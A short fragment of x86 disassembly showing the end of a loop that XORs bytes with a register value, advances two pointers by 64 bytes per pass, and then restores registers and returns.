xor byte [eax - 2], cl
dec esi
jne 0x409040
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
add eax, 0x40
mov edx, dword [ebp + 0x14]
add ecx, 0x40
dec ebx
mov dword [ebp - 4], eax
mov dword [ebp - 8], ecx
mov dword [ebp + 0x10], ebx
jne 0x408fe0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret